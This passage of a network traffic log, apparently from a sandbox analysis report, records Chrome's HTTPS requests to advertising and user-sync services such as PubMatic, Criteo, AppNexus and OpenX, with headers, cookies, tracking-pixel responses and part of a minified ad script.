2024-04-11 21:27:03 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.17	50230	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	431	OUT	GET /usersync?b=apn&i=3393848220146687847 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:03 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.17	50237	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1056	OUT	GET /usersync/redirect?partner=mediagrid&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.17	50236	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1530	OUT	GET /usersync/redirect?partner=thirty_three_across&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=212556691801834 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.17	50255	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	980	OUT	GET /ps/?xi=99&us_privacy=&xu=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF~A HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:03 UTC	694	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:27:03 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 8000000008200000A server: 33XP006 location: https://events-ssc.33across.com/match?bidder_id=99&external_user_id=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF%7EA&ts=1712870823&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy= content-length: 0 date: Thu, 11 Apr 2024 21:27:02 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.17	50250	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	954	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:03 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:03 GMT; path=/ Set-Cookie: PugT=1712870823; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.17	50240	108.139.47.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1329	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D HTTP/1.1 Host: sync.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:03 UTC	1678	IN	HTTP/1.1 302 Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 11 Apr 2024 21:27:03 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:03 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Location: https://sync1.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=396660830&iiqidtype=2&iiqpcid=001fa0cd-4d4e-4d5f-bf82-4211a8a61316&iiqpciddate=1712870818876&tsrnd=660_1712870818889&jsver=5.086&uh=%7B%220%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117%5C%22%22%2C%221%22%3A%22%3F0%22%2C%222%22%3A%22%5C%22Windows%5C%22%22%2C%223%22%3A%22%5C%22x86%5C%22%22%2C%224%22%3A%22%5C%2264%5C%22%22%2C%226%22%3A%22%5C%2210.0.0%5C%22%22%2C%227%22%3A%22%3F0%22%2C%228%22%3A%22%5C%22Google%20Chrome%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%2C%20%5C%22Not%3BA%3DBrand%5C%22%3Bv%3D%5C%228.0.0.0%5C%22%2C%20%5C%22Chromium%5C%22%3Bv%3D%5C%22117.0.5938.149%5C%22%22%7D&ckls=true&ci=fqopx3euZ0&nc=false&trid=1978743940 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Patent: https://www.almondnet.com/ip Set-Cookie: intentIQ=fqopx3euZ0; Domain=.intentiq.com; Expires=Sat, 11 Apr 2026 21:27:03 GMT; Path=/; Secure; SameSite=None X-Cache: Miss from cloudfront Via: 1.1 ed4584f7c263c11cf4adf75ba3a25764.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 9TICgfzdPo30lPxkRjtB9DHRVyMxMo83hXvy2Pum6I6K8akt74V9Iw==
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.17	50263	74.119.117.4	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	542	OUT	GET /js/ld/publishertag.ids.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:03 UTC	483	IN	HTTP/1.1 200 OK server: nginx date: Thu, 11 Apr 2024 21:27:03 GMT content-type: text/javascript content-length: 42433 last-modified: Tue, 09 Apr 2024 12:20:57 GMT etag: "661532a9-a5c1" expires: Fri, 12 Apr 2024 21:27:03 GMT cache-control: max-age=86400 cross-origin-resource-policy: cross-origin cache-control: public timing-allow-origin: * access-control-allow-origin: * accept-ranges: bytes strict-transport-security: max-age=31536000; preload; connection: close
2024-04-11 21:27:03 UTC	15901	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 52 3d 72 3d 72 7c 7c 7b 7d 29 5b 52 2e 45 72 72 6f 72 3d 30 5d 3d 22 45 72 72 6f 72 22 2c 52 5b 52 2e 57 61 72 6e 69 6e 67 3d 31 5d 3d 22 57 61 72 6e 69 6e 67 22 2c 52 5b 52 2e 44 65 62 75 67 3d 32 5d 3d 22 44 65 62 75 67 22 3b 76 61 72 20 72 2c 4c 3d 5b 22 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 38 66 31 63 3b 22 2c 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 22 2c 22 70 61 64 64 69 6e 67 3a 20 31 70 78 20 34 70 78 3b 22 2c 22 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 22 5d 2e 6a 6f 69 6e 28 22 20 22 29 2c 64 3d 28 6e 2e 4c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6f Data Ascii: !function(){"use strict";(R=r=r\|\|{})[R.Error=0]="Error",R[R.Warning=1]="Warning",R[R.Debug=2]="Debug";var r,L=["color: #fff;","background: #ff8f1c;","display: inline-block;","padding: 1px 4px;","border-radius: 3px;"].join(" "),d=(n.Log=function(e,t){var o
2024-04-11 21:27:03 UTC	16319	IN	Data Raw: 74 63 68 28 65 29 7b 7d 7d 65 6c 73 65 20 74 68 69 73 2e 73 65 74 43 6f 6f 6b 69 65 53 74 72 69 6e 67 28 65 2c 74 2c 63 2c 76 6f 69 64 20 30 2c 69 29 3b 72 65 74 75 72 6e 20 73 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 74 68 69 73 2e 73 65 74 43 6f 6f 6b 69 65 28 65 2c 22 22 2c 30 2c 74 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 6f 3f 21 31 3a 6f 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 68 69 73 2e 63 6f 6f 6b 69 65 73 45 6e 61 62 6c 65 64 29 66 6f 72 28 76 61 72 20 6f 3d 30 2c 6e 3d 28 74 7c 7c 64 6f 63 75 6d 65 6e 74 29 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 3b 6f 3c 6e 2e Data Ascii: tch(e){}}else this.setCookieString(e,t,c,void 0,i);return s},h.prototype.deleteCookie=function(e,t,o){this.setCookie(e,"",0,t,o=void 0===o?!1:o)},h.prototype.getCookie=function(e,t){if(this.cookiesEnabled)for(var o=0,n=(t\|\|document).cookie.split(";");o<n.
2024-04-11 21:27:03 UTC	10213	IN	Data Raw: 3d 6e 65 77 20 4f 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 28 29 2c 65 7d 2c 4f 2e 43 72 65 61 74 65 57 69 74 68 53 74 61 72 74 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6e 65 77 20 4f 28 21 31 29 3b 72 65 74 75 72 6e 20 74 2e 73 74 61 72 74 54 69 6d 65 3d 65 2c 74 7d 2c 4f 2e 54 69 6d 65 53 69 6e 63 65 50 61 67 65 4c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 69 66 28 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 26 26 77 69 6e 64 6f 77 2e 70 65 72 66 6f Data Ascii: =new O;return e.start(),e},O.CreateWithStartTime=function(e){var t=new O(!1);return t.startTime=e,t},O.TimeSincePageLoad=function(){if(window.performance){if(window.performance.now)return window.performance.now();if(window.performance.timing&&window.perfo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.17	50247	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1135	OUT	GET /getuid?https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D90%26external_user_id%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098
2024-04-11 21:27:03 UTC	1478	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://events-ssc.33across.com/match?liv=h&us_privacy=1---&bidder_id=90&external_user_id=4283912458326592098 AN-X-Request-Uuid: 57e516e9-6457-4d71-94d5-9b9262f2cf96 Set-Cookie: XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:03 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:03 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=4283912458326592098; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:03 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.17	50256	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	748	OUT	GET /1000.gif?memo=CPaqHBIvCisIARCUaxokNTU5MmY5ODYtODc1Ny0wYWMyLTFmY2MtMzM5NmQwOGE0MjExEAAaDQimq-GwBhIFCOgHEABCAEoA HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=y1SSLrgr5TZ8D2UKhA2xIpBom156XVCECfr/E2lbaSw=; pxrc=CAA=
2024-04-11 21:27:03 UTC	751	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://pippio.com/api/sync?pid=5324&it=1&iv=9646f2f32191f9f8932f9ef9381297990b1d083482338b5a518f2d4d36a62a3e791426b5417dce21&_=2 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=hgTupBawc0p8D2UKhA2xIpBom156XVCECfr/E2lbaSw=; Path=/; Domain=rlcdn.com; Expires=Fri, 11 Apr 2025 21:27:03 GMT; Secure; SameSite=None Set-Cookie: pxrc=CKer4bAGEgUI6AcQABIFCOhHEAA=; Path=/; Domain=rlcdn.com; Expires=Mon, 10 Jun 2024 21:27:03 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.17	50261	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	732	OUT	GET /w/1.0/sd?id=537148856&val=ZhhVpQAFEfZtPwBa&_test=ZhhVpQAFEfZtPwBa HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:03 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.17	50251	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
